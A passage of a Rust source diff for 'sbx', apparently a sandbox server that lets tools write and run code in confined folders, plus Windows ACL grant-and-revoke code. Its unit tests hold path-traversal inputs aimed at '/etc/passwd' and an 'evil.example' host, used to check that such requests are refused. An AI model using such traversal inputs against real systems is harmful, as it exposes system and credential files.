msg.get("method").and_then(Value::as_str).unwrap_or(""); + let params = msg.get("params").cloned().unwrap_or(Value::Null); + let result = match method { + "initialize" => json!({ + "protocolVersion": params + .get("protocolVersion") + .and_then(Value::as_str) + .unwrap_or("2025-06-18"), + "capabilities": { "tools": {} }, + "serverInfo": { "name": "sbx", "version": env!("CARGO_PKG_VERSION") }, + "instructions": INSTRUCTIONS, + }), + "ping" => json!({}), + "tools/list" => json!({ "tools": tools() }), + "tools/call" => { + let name = params.get("name").and_then(Value::as_str).unwrap_or(""); + let args = params.get("arguments").cloned().unwrap_or(json!({})); + let (text, is_error) = match self.call(name, &args) { + Ok(v) => (pretty(&v), false), + Err(e) => (e, true), + }; + json!({ "content": [{ "type": "text", "text": text }], "isError": is_error }) + } + other => return Some(error(id, -32601, &format!("unknown method `{other}`"))), + }; + Some(json!({ "jsonrpc": "2.0", "id": id, "result": result })) + } + + fn call(&mut self, tool: &str, args: &Value) -> Result { + match tool { + "sandbox_create" => self.create(args), + "sandbox_write_file" => self.write_file(args), + "sandbox_read_file" => self.read_file(args), + "sandbox_list" => self.list(args), + "sandbox_run" => self.run(args), + "sandbox_info" => self.info(args), + "sandbox_destroy" => { + let id = str_arg(args, "id")?; + self.destroy(id)?; + Ok(json!({ "destroyed": id })) + } + other => Err(format!("unknown tool `{other}`")), + } + } + + fn create(&mut self, args: &Value) -> Result { + let network = match args.get("network").and_then(Value::as_str) { + None => NetMode::Deny, + Some(w) => NetMode::parse(w).ok_or(format!("network: unknown mode `{w}`"))?, + }; + if rank(network) > rank(self.ceilings.network) { + return Err(format!( + "network `{}` is above what this server allows (`{}`)", + network.as_str(), + self.ceilings.network.as_str() + )); + } + let hosts: Vec = match args.get("allow_hosts") { + None => Vec::new(), + Some(v) => serde_json::from_value(v.clone()) + .map_err(|_| "allow_hosts: expected a list of host names".to_string())?, + }; + if network == NetMode::Proxy { + if hosts.is_empty() { + return Err("network `proxy` needs allow_hosts".to_string()); + } + if self.ceilings.network == NetMode::Proxy { + let ceiling = crate::proxy::Allowlist::new(&self.ceilings.hosts, false)?; + for h in &hosts { + let (name, port) = match h.rsplit_once(':') { + Some((n, p)) => (n, p.parse().unwrap_or(443)), + None => (h.as_str(), 443), + }; + if !ceiling.allows(name.trim_start_matches("*."), port) { + return Err(format!( + "host `{h}` is not among the hosts this server allows: {}", + self.ceilings.hosts.join(", ") + )); + } + } + } + crate::proxy::Allowlist::new(&hosts, false)?; + } else if !hosts.is_empty() { + return Err("allow_hosts needs network `proxy`".to_string()); + } + // On native Windows, where only `allow` is ever enforced, say so now + // rather than at every run, which would each be refused anyway. + // (Elsewhere enforcement depends on the kernel, and each run says.) + if cfg!(windows) && !self.ceilings.best_effort { + let mut probe = Policy::default(); + probe.network.mode = network; + if let crate::Status::NotEnforced(why) = crate::enforcement(&probe).network { + return Err(format!( + "network `{}` cannot be enforced on this machine: {why}{}", + network.as_str(), + if rank(self.ceilings.network) >= rank(NetMode::Allow) { + " (this server allows `allow`, if an open network will do)" + } else { + "" + } + )); + } + } + + self.next += 1; + let id = format!("sbx-{}-{}", std::process::id(), self.next); + let dir = self.ceilings.root.join(&id); + std::fs::create_dir_all(&dir).map_err(|e| format!("{}: {e}", dir.display()))?; + let dir = crate::plain_path(std::fs::canonicalize(&dir).map_err(|e| e.to_string())?); + self.boxes.insert( + id.clone(), + Box_ { + dir: dir.clone(), + network, + hosts, + runs: 0, + }, + ); + let info = self.info(&json!({ "id": id }))?; + Ok(info) + } + + fn sandbox(&self, args: &Value) -> Result<(&str, &Box_), String> { + let id = str_arg(args, "id")?; + self.boxes + .get_key_value(id) + .map(|(k, b)| (k.as_str(), b)) + .ok_or_else(|| format!("no sandbox `{id}` (create one with sandbox_create)")) + } + + fn policy_for(&self, b: &Box_, timeout: u64) -> Policy { + let mut p = self.ceilings.base.clone(); + p.fs.mode = FsMode::WorkspaceWrite; + p.fs.write = vec![b.dir.clone()]; + p.network.mode = b.network; + p.network.allow = b.hosts.clone(); + p.limits.wall_secs = Some(timeout); + p + } + + fn info(&self, args: &Value) -> Result { + let (id, b) = self.sandbox(args)?; + let policy = self.policy_for(b, self.ceilings.max_wall_secs); + let e = crate::enforcement(&policy); + Ok(json!({ + "id": id, + "folder": b.dir.display().to_string(), + "network": b.network.as_str(), + "allow_hosts": b.hosts, + "max_timeout_secs": self.ceilings.max_wall_secs, + "runs": b.runs, + "enforcement": e, + })) + } + + fn write_file(&mut self, args: &Value) -> Result { + let (_, b) = self.sandbox(args)?; + let rel = str_arg(args, "path")?; + let content = str_arg(args, "content")?; + let path = inside(&b.dir, rel, true)?; + write_new(&path, content.as_bytes())?; + #[cfg(unix)] + if args.get("executable").and_then(Value::as_bool) == Some(true) { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&path, std::fs::Permissions::from_mode(0o755)) + .map_err(|e| e.to_string())?; + } + Ok(json!({ "written": rel, "bytes": content.len() })) + } + + fn read_file(&self, args: &Value) -> Result { + let (_, b) = self.sandbox(args)?; + let rel = str_arg(args, "path")?; + let path = inside(&b.dir, rel, false)?; + let bytes = read_nofollow(&path)?; + let max = args + .get("max_bytes") + .and_then(Value::as_u64) + .map_or(MAX_READ, |m| (m as usize).min(MAX_READ)); + let shown = &bytes[..bytes.len().min(max)]; + Ok(json!({ + "path": rel, + "bytes": bytes.len(), + "truncated": bytes.len() > shown.len(), + "content": String::from_utf8_lossy(shown), + })) + } + + fn list(&self, args: &Value) -> Result { + let (_, b) = self.sandbox(args)?; + let rel = args.get("path").and_then(Value::as_str).unwrap_or("."); + let dir = inside(&b.dir, rel, false)?; + let mut entries = Vec::new(); + for e in std::fs::read_dir(&dir).map_err(|e| format!("{rel}: {e}"))? { + let e = e.map_err(|e| e.to_string())?; + let meta = e.path().symlink_metadata().map_err(|e| e.to_string())?; + let kind = if meta.file_type().is_symlink() { + "symlink" + } else if meta.is_dir() { + "dir" + } else { + "file" + }; + entries.push(json!({ + "name": e.file_name().to_string_lossy(), + "type": kind, + "bytes": meta.len(), + })); + } + entries.sort_by(|a, b| a["name"].as_str().cmp(&b["name"].as_str())); + Ok(json!({ "path": rel, "entries": entries })) + } + + fn run(&mut self, args: &Value) -> Result { + let timeout = args + .get("timeout_secs") + .and_then(Value::as_u64) + .unwrap_or(DEFAULT_TIMEOUT.min(self.ceilings.max_wall_secs)); + if timeout == 0 || timeout > self.ceilings.max_wall_secs { + return Err(format!( + "timeout_secs must be 1..={} on this server", + self.ceilings.max_wall_secs + )); + } + let (id, b) = self.sandbox(args)?; + let id = id.to_string(); + let dir = b.dir.clone(); + let policy = self.policy_for(b, timeout); + let cwd = match args.get("cwd").and_then(Value::as_str) { + Some(rel) => inside(&dir, rel, false)?, + None => dir.clone(), + }; + + let argv: Vec = match (args.get("command"), args.get("script")) { + (Some(c), None) => serde_json::from_value(c.clone()) + .map_err(|_| "command: expected a list like [\"python3\", \"x.py\"]".to_string())?, + (None, Some(s)) => { + let script = s.as_str().ok_or("script: expected text")?; + let interpreter = args + .get("interpreter") + .and_then(Value::as_str) + .unwrap_or(DEFAULT_INTERPRETER); + let runs = self.boxes.get(&id).map_or(0, |b| b.runs) + 1; + let (ext, _) = interpreter_style(interpreter, cfg!(windows)); + let name = format!(".sbx/script-{runs}{ext}"); + let path = inside(&dir, &name, true)?; + write_new(&path, script.as_bytes())?; + script_argv(interpreter, &path.display().to_string(), cfg!(windows)) + } + _ => return Err("give either `command` (a list) or `script` (text)".to_string()), + }; + let (program, rest) = argv.split_first().ok_or("command is empty")?; + let rest: Vec = rest.iter().map(OsString::from).collect(); + let stdin = args.get("stdin").and_then(Value::as_str); + + let captured = Sandbox::new(policy) + .strict(!self.ceilings.best_effort) + .run_captured(program, &rest, &cwd, stdin.map(str::as_bytes), MAX_OUTPUT)?; + if let Some(b) = self.boxes.get_mut(&id) { + b.runs += 1; + } + let refused: Vec = captured + .outcome + .decisions + .iter() + .filter(|d| !d.allowed) + .map(|d| format!("{} ({})", d.target, d.reason)) + .collect(); + Ok(json!({ + "exit_code": captured.outcome.code(), + "timed_out": captured.outcome.timed_out, + "stdout": String::from_utf8_lossy(&captured.stdout), + "stderr": String::from_utf8_lossy(&captured.stderr), + "stdout_truncated": captured.stdout_total > captured.stdout.len() as u64, + "stderr_truncated": captured.stderr_total > captured.stderr.len() as u64, + "network_refused": refused, + "protected_restored": captured.outcome.restored, + })) + } + + fn destroy(&mut self, id: &str) -> Result<(), String> { + let b = self + .boxes + .remove(id) + .ok_or_else(|| format!("no sandbox `{id}`"))?; + // Only ever a folder this server made beneath its root. + let root = crate::plain_path( + std::fs::canonicalize(&self.ceilings.root).map_err(|e| e.to_string())?, + ); + if !b.dir.starts_with(&root) || b.dir == root { + return Err(format!("{} is not a sandbox folder", b.dir.display())); + } + std::fs::remove_dir_all(&b.dir).map_err(|e| format!("{}: {e}", b.dir.display())) + } +} + +/// The interpreter a `script` runs with when none is named: `sh`, or +/// PowerShell on Windows, where there is no `sh` (and Git Bash cannot start +/// under the write-restricted token). +const DEFAULT_INTERPRETER: &str = if cfg!(windows) { "powershell" } else { "sh" }; + +/// On Windows, how an interpreter wants its script: the file extension it +/// needs (PowerShell runs only `.ps1` files, `cmd` only `.cmd`/`.bat`) and +/// the arguments before the script's path. Elsewhere: no extension, none. +fn interpreter_style(interpreter: &str, windows: bool) -> (&'static str, &'static [&'static str]) { + if !windows { + return ("", &[]); + } + let name = interpreter + .rsplit(['\\', '/']) + .next() + .unwrap_or(interpreter) + .to_ascii_lowercase(); + let name = name.strip_suffix(".exe").unwrap_or(&name); + match name { + "powershell" | "pwsh" => ( + ".ps1", + &[ + "-NoProfile", + "-NonInteractive", + "-ExecutionPolicy", + "Bypass", + "-File", + ], + ), + "cmd" => (".cmd", &["/d", "/c"]), + "python" | "python3" | "py" => (".py", &[]), + "node" => (".js", &[]), + _ => ("", &[]), + } +} + +/// The argv that runs the script at `path` with `interpreter`. +fn script_argv(interpreter: &str, path: &str, windows: bool) -> Vec { + let (_, flags) = interpreter_style(interpreter, windows); + let mut argv = vec![interpreter.to_string()]; + argv.extend(flags.iter().map(|f| (*f).to_string())); + argv.push(path.to_string()); + argv +} + +fn rank(m: NetMode) -> u8 { + match m { + NetMode::Deny => 0, + NetMode::Proxy => 1, + NetMode::Allow => 2, + } +} + +fn str_arg<'a>(args: &'a Value, key: &str) -> Result<&'a str, String> { + args.get(key) + .and_then(Value::as_str) + .ok_or_else(|| format!("`{key}` is required")) +} + +/// `rel` beneath `root`, refused when it is absolute, climbs with `..`, or +/// passes through a symlink. With `create`, missing parent folders are made +/// (each checked the same way). +pub fn inside(root: &Path, rel: &str, create: bool) -> Result { + let rel_path = Path::new(rel); + let mut at = root.to_path_buf(); + let parts: Vec = rel_path.components().collect(); + for (i, part) in parts.iter().enumerate() { + match part { + Component::Normal(name) => { + at.push(name); + match at.symlink_metadata() { + Ok(m) if m.file_type().is_symlink() => { + return Err(format!("`{rel}` passes through a symlink; refused")); + } + Ok(_) => {} + Err(_) if create && i + 1 < parts.len() => { + std::fs::create_dir(&at).map_err(|e| format!("{rel}: {e}"))?; + } + Err(_) => {} + } + } + Component::CurDir => {} + _ => { + return Err(format!( + "`{rel}` must be a relative path inside the sandbox" + )) + } + } + } + Ok(at) +} + +/// Write `bytes` to `path`, replacing a regular file, never following a link. +fn write_new(path: &Path, bytes: &[u8]) -> Result<(), String> { + if let Ok(m) = path.symlink_metadata() { + if m.file_type().is_symlink() { + return Err(format!("{} is a symlink; refused", path.display())); + } + } + let mut opts = std::fs::OpenOptions::new(); + opts.write(true).create(true).truncate(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + opts.custom_flags(libc::O_NOFOLLOW); + } + let mut f = opts + .open(path) + .map_err(|e| format!("{}: {e}", path.display()))?; + f.write_all(bytes).map_err(|e| e.to_string()) +} + +fn read_nofollow(path: &Path) -> Result, String> { + let mut opts = std::fs::OpenOptions::new(); + opts.read(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + opts.custom_flags(libc::O_NOFOLLOW); + } + let mut f = opts + .open(path) + .map_err(|e| format!("{}: {e}", path.display()))?; + let mut out = Vec::new(); + std::io::Read::read_to_end(&mut f, &mut out).map_err(|e| e.to_string())?; + Ok(out) +} + +fn pretty(v: &Value) -> String { + serde_json::to_string_pretty(v).unwrap_or_else(|_| v.to_string()) +} + +fn error(id: Value, code: i64, message: &str) -> Value { + json!({ "jsonrpc": "2.0", "id": id, "error": { "code": code, "message": message } }) +} + +const INSTRUCTIONS: &str = "Sandboxes for running code safely. sandbox_create makes one (no \ +network unless asked and allowed); sandbox_write_file puts scripts and files in it; sandbox_run \ +runs a command or a script inside it, confined to its folder with a time limit; \ +sandbox_read_file and sandbox_list read results; sandbox_destroy removes it. Paths are relative \ +to the sandbox's folder."; + +fn tools() -> Value { + let id = json!({ "type": "string", "description": "The sandbox, from sandbox_create." }); + let path = json!({ "type": "string", "description": "Relative to the sandbox's folder." }); + json!([ + { + "name": "sandbox_create", + "description": "Create a sandbox: a private folder where commands run confined (they can write only there, get no secrets from the host's environment, and are killed at a time limit). Network is off unless you ask for `proxy` with allow_hosts (or `allow`), within what the server permits.", + "inputSchema": { "type": "object", "properties": { + "network": { "type": "string", "enum": ["deny", "proxy", "allow"], "description": "Default deny." }, + "allow_hosts": { "type": "array", "items": { "type": "string" }, "description": "With proxy: hosts like pypi.org, *.npmjs.org, example.com:8443." } + }}, + "annotations": { "readOnlyHint": false, "destructiveHint": false } + }, + { + "name": "sandbox_write_file", + "description": "Write a file (a script, data, a config) into the sandbox, creating folders as needed. Replaces an existing file.", + "inputSchema": { "type": "object", "required": ["id", "path", "content"], "properties": { + "id": id, "path": path, + "content": { "type": "string" }, + "executable": { "type": "boolean", "description": "chmod 755 after writing." } + }}, + "annotations": { "readOnlyHint": false, "destructiveHint": true } + }, + { + "name": "sandbox_run", + "description": "Run a command (`command`, an argv list) or a script (`script`, text run with `interpreter`, default sh, or powershell on Windows) inside the sandbox. Returns exit_code, stdout, stderr (64 KB each at most), timed_out, and any network requests the proxy refused. Everything the run started is stopped when it ends.", + "inputSchema": { "type": "object", "required": ["id"], "properties": { + "id": id, + "command": { "type": "array", "items": { "type": "string" } }, + "script": { "type": "string" }, + "interpreter": { "type": "string", "description": "For script: sh, bash, python3, node, ... (default sh; powershell on Windows, where cmd works too)" }, + "cwd": path, + "stdin": { "type": "string" }, + "timeout_secs": { "type": "integer", "description": "Default 120, at most the server's limit." } + }}, + "annotations": { "readOnlyHint": false, "destructiveHint": true } + }, + { + "name": "sandbox_read_file", + "description": "Read a file from the sandbox (256 KB at most).", + "inputSchema": { "type": "object", "required": ["id", "path"], "properties": { + "id": id, "path": path, "max_bytes": { "type": "integer" } + }}, + "annotations": { "readOnlyHint": true } + }, + { + "name": "sandbox_list", + "description": "List a folder in the sandbox (default: its top).", + "inputSchema": { "type": "object", "required": ["id"], "properties": { "id": id, "path": path }}, + "annotations": { "readOnlyHint": true } + }, + { + "name": "sandbox_info", + "description": "What a sandbox enforces on this machine, its folder, network and limits.", + "inputSchema": { "type": "object", "required": ["id"], "properties": { "id": id }}, + "annotations": { "readOnlyHint": true } + }, + { + "name": "sandbox_destroy", + "description": "Delete a sandbox and everything in it.", + "inputSchema": { "type": "object", "required": ["id"], "properties": { "id": id }}, + "annotations": { "readOnlyHint": false, "destructiveHint": true } + } + ]) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn paths_stay_inside_and_never_follow_links() { + let root = tempfile::tempdir().expect("tempdir"); + let base = std::fs::canonicalize(root.path()).expect("canon"); + assert!(inside(&base, "/etc/passwd", false).is_err()); + assert!(inside(&base, "../x", false).is_err()); + assert!(inside(&base, "a/../../x", false).is_err()); + let made = inside(&base, "a/b/c.txt", true).expect("nested"); + assert!(base.join("a/b").is_dir()); + assert_eq!(made, base.join("a/b/c.txt")); + #[cfg(unix)] + { + std::os::unix::fs::symlink("/etc", base.join("out")).expect("link"); + assert!(inside(&base, "out/passwd", false).is_err()); + std::os::unix::fs::symlink("/etc/hostname", base.join("f")).expect("link"); + assert!(inside(&base, "f", false).is_err()); + } + } + + #[test] + fn requests_above_the_ceilings_are_refused() { + let root = tempfile::tempdir().expect("tempdir"); + let mut c = Ceilings::new(root.path().to_path_buf()); + c.network = NetMode::Proxy; + c.hosts = vec!["pypi.org".into(), "*.pythonhosted.org".into()]; + let mut s = Server::new(c); + assert!(s.create(&json!({"network": "allow"})).is_err()); + assert!(s + .create(&json!({"network": "proxy", "allow_hosts": ["evil.example"]})) + .is_err()); + // Within the ceilings. Native Windows enforces neither proxy nor + // deny, and says so at once instead. + let within = |r: Result| { + if cfg!(windows) { + r.is_err_and(|e| e.contains("cannot be enforced")) + } else { + r.is_ok() + } + }; + assert!(within(s.create( + &json!({"network": "proxy", "allow_hosts": ["pypi.org", "files.pythonhosted.org"]}) + ))); + assert!(within(s.create(&json!({}))), "deny is always allowed"); + } + + #[test] + fn scripts_get_what_their_interpreter_needs_on_windows() { + assert_eq!( + script_argv("sh", "/b/.sbx/script-1", false), + ["sh", "/b/.sbx/script-1"] + ); + assert_eq!(interpreter_style("powershell", false), ("", &[][..])); + assert_eq!( + script_argv("powershell", r"C:\b\.sbx\script-1.ps1", true), + [ + "powershell", + "-NoProfile", + "-NonInteractive", + "-ExecutionPolicy", + "Bypass", + "-File", + r"C:\b\.sbx\script-1.ps1" + ] + ); + assert_eq!(interpreter_style(r"C:\x\PWSH.EXE", true).0, ".ps1"); + assert_eq!( + script_argv("cmd", r"C:\b\s.cmd", true), + ["cmd", "/d", "/c", r"C:\b\s.cmd"] + ); + assert_eq!(interpreter_style("python3", true), (".py", &[][..])); + assert_eq!(interpreter_style("ruby", true), ("", &[][..])); + } + + #[test] + fn the_widest_policy_is_what_the_ceilings_allow() { + let root = tempfile::tempdir().expect("tempdir"); + let mut c = Ceilings::new(root.path().to_path_buf()); + c.network = NetMode::Proxy; + c.hosts = vec!["pypi.org".into()]; + let p = c.widest_policy(); + assert_eq!(p.fs.mode, FsMode::WorkspaceWrite); + assert_eq!(p.network.mode, NetMode::Proxy); + assert_eq!(p.network.allow, ["pypi.org"]); + assert_eq!(p.limits.wall_secs, Some(600)); + assert_eq!(p.env.inherit, Inherit::None); + } + + #[test] + fn the_protocol_answers_initialize_and_lists_the_tools() { + let root = tempfile::tempdir().expect("tempdir"); + let mut s = Server::new(Ceilings::new(root.path().to_path_buf())); + let init = s + .handle(r#"{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26"}}"#) + .expect("reply"); + assert_eq!(init["result"]["protocolVersion"], "2025-03-26"); + assert!(s + .handle(r#"{"jsonrpc":"2.0","method":"notifications/initialized"}"#) + .is_none()); + let list = s + .handle(r#"{"jsonrpc":"2.0","id":2,"method":"tools/list"}"#) + .expect("reply"); + let names: Vec<&str> = list["result"]["tools"] + .as_array() + .expect("tools") + .iter() + .filter_map(|t| t["name"].as_str()) + .collect(); + assert_eq!(names.len(), 7); + assert!(names.contains(&"sandbox_run")); + let bad = s + .handle(r#"{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"sandbox_run","arguments":{"id":"nope"}}}"#) + .expect("reply"); + assert_eq!(bad["result"]["isError"], true); + } +} diff --git a/crates/sandbox/src/windows/acl.rs b/crates/sandbox/src/windows/acl.rs new file mode 100644 index 0000000..057ec8b --- /dev/null +++ b/crates/sandbox/src/windows/acl.rs @@ -0,0 +1,385 @@ +//! The grant: one inheritable `Modify` ACE per writable root, for one run. +//! +//! Ported from incode's `sandbox::windows::acl`. incode grants once per +//! session and keeps the roots granted across commands; `sbx` runs one +//! command per policy, so each run gets its own SID and its own [`Lease`]: +//! granted when the command is prepared, revoked when the lease drops after +//! it exits. Two runs at once never share a SID, so neither can write the +//! other's roots. +//! +//! # A crash leaves the ACE behind: the sweep +//! +//! Every grant is written down before it is made, in +//! `%LOCALAPPDATA%\sbx\grants\.grant` (the SID and each root), and the +//! process holds a named mutex `Global\sbx-grant-` while the lease +//! lives. Every new lease first sweeps: a record whose mutex no longer exists +//! belongs to a process that died, so its ACEs are revoked and the record +//! deleted. A record whose revoke failed is kept for the next sweep. An ACE a +//! dead run left is harmless meanwhile (only a token carrying that exact SID +//! could use it, and none will be made again), but it is the user's ACL, so +//! it is cleaned. +//! +//! The sweep only ever revokes SIDs with this crate's prefix +//! ([`super::SID_PREFIX`]), so a forged record can do no more than remove +//! another dead run's ACE. + +use std::path::{Path, PathBuf}; + +use windows_sys::Win32::Foundation::{ + CloseHandle, GetLastError, ERROR_FILE_NOT_FOUND, HANDLE, WAIT_ABANDONED, WAIT_OBJECT_0, +}; +use windows_sys::Win32::Security::Authorization::{ + GetNamedSecurityInfoW, SetEntriesInAclW, SetNamedSecurityInfoW, EXPLICIT_ACCESS_W, + GRANT_ACCESS, NO_MULTIPLE_TRUSTEE, REVOKE_ACCESS, SE_FILE_OBJECT, TRUSTEE_IS_SID, + TRUSTEE_IS_UNKNOWN, TRUSTEE_W, +}; +use windows_sys::Win32::Security::{ + GetSecurityDescriptorControl, ACL, DACL_SECURITY_INFORMATION, NO_INHERITANCE, + PROTECTED_DACL_SECURITY_INFORMATION, SE_DACL_PROTECTED, SUB_CONTAINERS_AND_OBJECTS_INHERIT, + UNPROTECTED_DACL_SECURITY_INFORMATION, +}; +use windows_sys::Win32::System::Threading::{ + CreateMutexW, OpenMutexW, ReleaseMutex, WaitForSingleObject, SYNCHRONIZATION_SYNCHRONIZE, +}; + +use super::token::{last_error, sid, wide, LocalPtr, OwnedHandle}; +use super::{fold_nested, is_session_sid, parse_record, record_text, refuse_broad, session_sid}; + +/// The rights granted: `icacls`'s `M` (read, write, execute, delete). +const MODIFY: u32 = 0x0013_01BF; + +/// How long a grant or revoke waits for another process changing an ACL at +/// the same moment. Propagation over a very large tree takes tens of +/// seconds; past this the run is refused rather than left hanging. +const LOCK_WAIT_MS: u32 = 120_000; + +/// One run's grant on its roots. Dropping it revokes them. +pub(crate) struct Lease { + sid: String, + record: PathBuf, + roots: Vec, + /// The named mutex that tells a later sweep this run is alive. + _alive: OwnedHandle, +} + +impl std::fmt::Debug for Lease { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Lease") + .field("sid", &self.sid) + .field("roots", &self.roots) + .finish_non_exhaustive() + } +} + +impl Lease { + /// Grant `roots` (the writable roots and the run's temp directory) to a + /// new private SID, after sweeping what a crashed run left. + /// + /// # Errors + /// When a root may not or could not be granted. Nothing this call granted + /// is left behind on failure. + pub(crate) fn acquire(roots: &[PathBuf]) -> Result { + let profile = std::env::var("USERPROFILE").ok(); + for root in roots { + refuse_broad(&root.to_string_lossy(), profile.as_deref()) + .map_err(|e| format!("workspace-write {e}"))?; + if !root.is_dir() { + return Err(format!( + "workspace-write cannot grant {}: not a directory", + root.display() + )); + } + } + let roots = fold_nested(roots); + let dir = records_dir(); + std::fs::create_dir_all(&dir).map_err(|e| format!("{}: {e}", dir.display()))?; + sweep(&dir); + + let (rid, alive) = claim_rid(&dir)?; + let mut lease = Self { + sid: session_sid(rid), + record: dir.join(format!("{rid}.grant")), + roots: Vec::new(), + _alive: alive, + }; + // Written down BEFORE anything is granted, so a crash at any point + // after this is swept. + std::fs::write(&lease.record, record_text(&lease.sid, roots.iter())) + .map_err(|e| format!("{}: {e}", lease.record.display()))?; + for root in &roots { + if let Err(e) = change(root, &lease.sid, Change::Grant) { + // A propagation can fail part-way (a file the user may not + // re-ACL); take back whatever landed. Dropping `lease` + // revokes the roots granted before this one. + let _ = change(root, &lease.sid, Change::Revoke); + return Err(format!( + "workspace-write could not grant {}: {e}", + root.display() + )); + } + lease.roots.push(root.clone()); + } + Ok(lease) + } + + /// The SID the command's token is restricted to. + pub(crate) fn sid(&self) -> &str { + &self.sid + } +} + +impl Drop for Lease { + fn drop(&mut self) { + let mut stuck = Vec::new(); + for root in &self.roots { + if !root.exists() { + continue; // the temp directory, already removed + } + if let Err(e) = change(root, &self.sid, Change::Revoke) { + eprintln!( + "sbx: could not revoke the sandbox's access to {} ({e}); the next run \ + sweeps it", + root.display() + ); + stuck.push(root.clone()); + } + } + if stuck.is_empty() { + let _ = std::fs::remove_file(&self.record); + } else { + let _ = std::fs::write(&self.record, record_text(&self.sid, stuck.iter())); + } + } +} + +/// Where grant records live: beside the user's other per-machine data, never +/// inside anything a command is granted (a root holding the profile is +/// refused). +fn records_dir() -> PathBuf { + std::env::var_os("LOCALAPPDATA") + .map(|d| PathBuf::from(d).join("sbx").join("grants")) + .unwrap_or_else(|| std::env::temp_dir().join("sbx-grants")) +} + +/// A fresh RID nobody is using, and the liveness mutex that holds it. +fn claim_rid(dir: &Path) -> Result<(u32, OwnedHandle), String> { + for attempt in 0..64u32 { + let rid = random_rid(attempt); + if is_alive(rid) || dir.join(format!("{rid}.grant")).exists() { + continue; + } + // SAFETY: a NUL-terminated name; no security attributes, so the + // handle is not inherited by the command (which would keep a dead + // run looking alive). + let handle = unsafe { CreateMutexW(std::ptr::null(), 0, wide(alive_name(rid)).as_ptr()) }; + if handle.is_null() { + return Err(last_error("CreateMutexW")); + } + return Ok((rid, OwnedHandle(handle))); + } + Err("could not find an unused sandbox SID".to_string()) +} + +/// A random, non-zero RID. Uniqueness is what matters, not secrecy: a +/// process cannot add a SID to its own token, so knowing it gains nothing. +fn random_rid(salt: u32) -> u32 { + use std::hash::{BuildHasher, Hasher}; + let mut h = std::collections::hash_map::RandomState::new().build_hasher(); + h.write_u32(std::process::id()); + h.write_u32(salt); + h.write_u128( + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_nanos()) + .unwrap_or(0), + ); + let rid = (h.finish() & 0x7fff_ffff) as u32; + rid.max(1) +} + +/// Revoke what dead runs left: every record whose liveness mutex is gone. +fn sweep(dir: &Path) { + let Ok(entries) = std::fs::read_dir(dir) else { + return; + }; + for entry in entries.flatten() { + let path = entry.path(); + if path.extension().is_none_or(|e| e != "grant") { + continue; + } + let Some(rid) = path + .file_stem() + .and_then(|s| s.to_str()) + .and_then(|s| s.parse::().ok()) + else { + continue; + }; + if is_alive(rid) { + continue; + } + let Some((sid, roots)) = std::fs::read_to_string(&path) + .ok() + .and_then(|t| parse_record(&t)) + else { + continue; + }; + if !is_session_sid(&sid) { + continue; + } + let mut clean = true; + for root in roots.iter().filter(|r| r.exists()) { + if change(root, &sid, Change::Revoke).is_err() { + clean = false; + } + } + if clean { + let _ = std::fs::remove_file(&path); + } + } +} + +/// Whether run `rid` is still alive: its liveness mutex exists. Any answer +/// but "no such mutex" counts as alive, so a sweep never revokes a live +/// run's grant on a doubt. +fn is_alive(rid: u32) -> bool { + // SAFETY: a NUL-terminated name; the handle, if any, is closed at once. + unsafe { + let handle = OpenMutexW( + SYNCHRONIZATION_SYNCHRONIZE, + 0, + wide(alive_name(rid)).as_ptr(), + ); + if !handle.is_null() { + CloseHandle(handle); + return true; + } + GetLastError() != ERROR_FILE_NOT_FOUND + } +} + +fn alive_name(rid: u32) -> String { + format!("Global\\sbx-grant-{rid}") +} + +#[derive(Clone, Copy)] +enum Change { + Grant, + Revoke, +} + +/// Add (or remove) the SID's inheritable `Modify` ACE on `dir`, propagating +/// to everything beneath it. The DACL's protection is kept as it was. +/// Serialised across processes, because two read-modify-writes of one DACL +/// at once would lose one. +fn change(dir: &Path, sid_text: &str, change: Change) -> Result<(), String> { + let _lock = AclLock::take()?; + let trustee = sid(sid_text)?; + let path = wide(dir); + // SAFETY: every pointer passed lives to the end of the block (`path`, + // `trustee`, the returned descriptor and ACL, freed by their owners); + // each call's result is checked. + unsafe { + let mut dacl: *mut ACL = std::ptr::null_mut(); + let mut descriptor: *mut core::ffi::c_void = std::ptr::null_mut(); + let err = GetNamedSecurityInfoW( + path.as_ptr(), + SE_FILE_OBJECT, + DACL_SECURITY_INFORMATION, + std::ptr::null_mut(), + std::ptr::null_mut(), + &mut dacl, + std::ptr::null_mut(), + &mut descriptor, + ); + if err != 0 { + return Err(format!( + "reading the ACL of {} failed with error {err}", + dir.display() + )); + } + let descriptor = LocalPtr(descriptor); + let mut control: u16 = 0; + let mut revision: u32 = 0; + if GetSecurityDescriptorControl(descriptor.0, &mut control, &mut revision) == 0 { + return Err(last_error("GetSecurityDescriptorControl")); + } + let (mode, rights, inheritance) = match change { + Change::Grant => (GRANT_ACCESS, MODIFY, SUB_CONTAINERS_AND_OBJECTS_INHERIT), + Change::Revoke => (REVOKE_ACCESS, 0, NO_INHERITANCE), + }; + let entry = EXPLICIT_ACCESS_W { + grfAccessPermissions: rights, + grfAccessMode: mode, + grfInheritance: inheritance, + Trustee: TRUSTEE_W { + pMultipleTrustee: std::ptr::null_mut(), + MultipleTrusteeOperation: NO_MULTIPLE_TRUSTEE, + TrusteeForm: TRUSTEE_IS_SID, + TrusteeType: TRUSTEE_IS_UNKNOWN, + ptstrName: trustee.0.cast(), + }, + }; + let mut updated: *mut ACL = std::ptr::null_mut(); + let err = SetEntriesInAclW(1, &entry, dacl, &mut updated); + if err != 0 { + return Err(format!("SetEntriesInAclW failed with error {err}")); + } + let updated = LocalPtr(updated.cast()); + let protection = if control & SE_DACL_PROTECTED != 0 { + PROTECTED_DACL_SECURITY_INFORMATION + } else { + UNPROTECTED_DACL_SECURITY_INFORMATION + }; + let err = SetNamedSecurityInfoW( + path.as_ptr(), + SE_FILE_OBJECT, + DACL_SECURITY_INFORMATION | protection, + std::ptr::null_mut(), + std::ptr::null_mut(), + updated.0.cast::(), + std::ptr::null(), + ); + drop((updated, descriptor)); + if err != 0 { + return Err(format!( + "setting the ACL of {} failed with error {err}", + dir.display() + )); 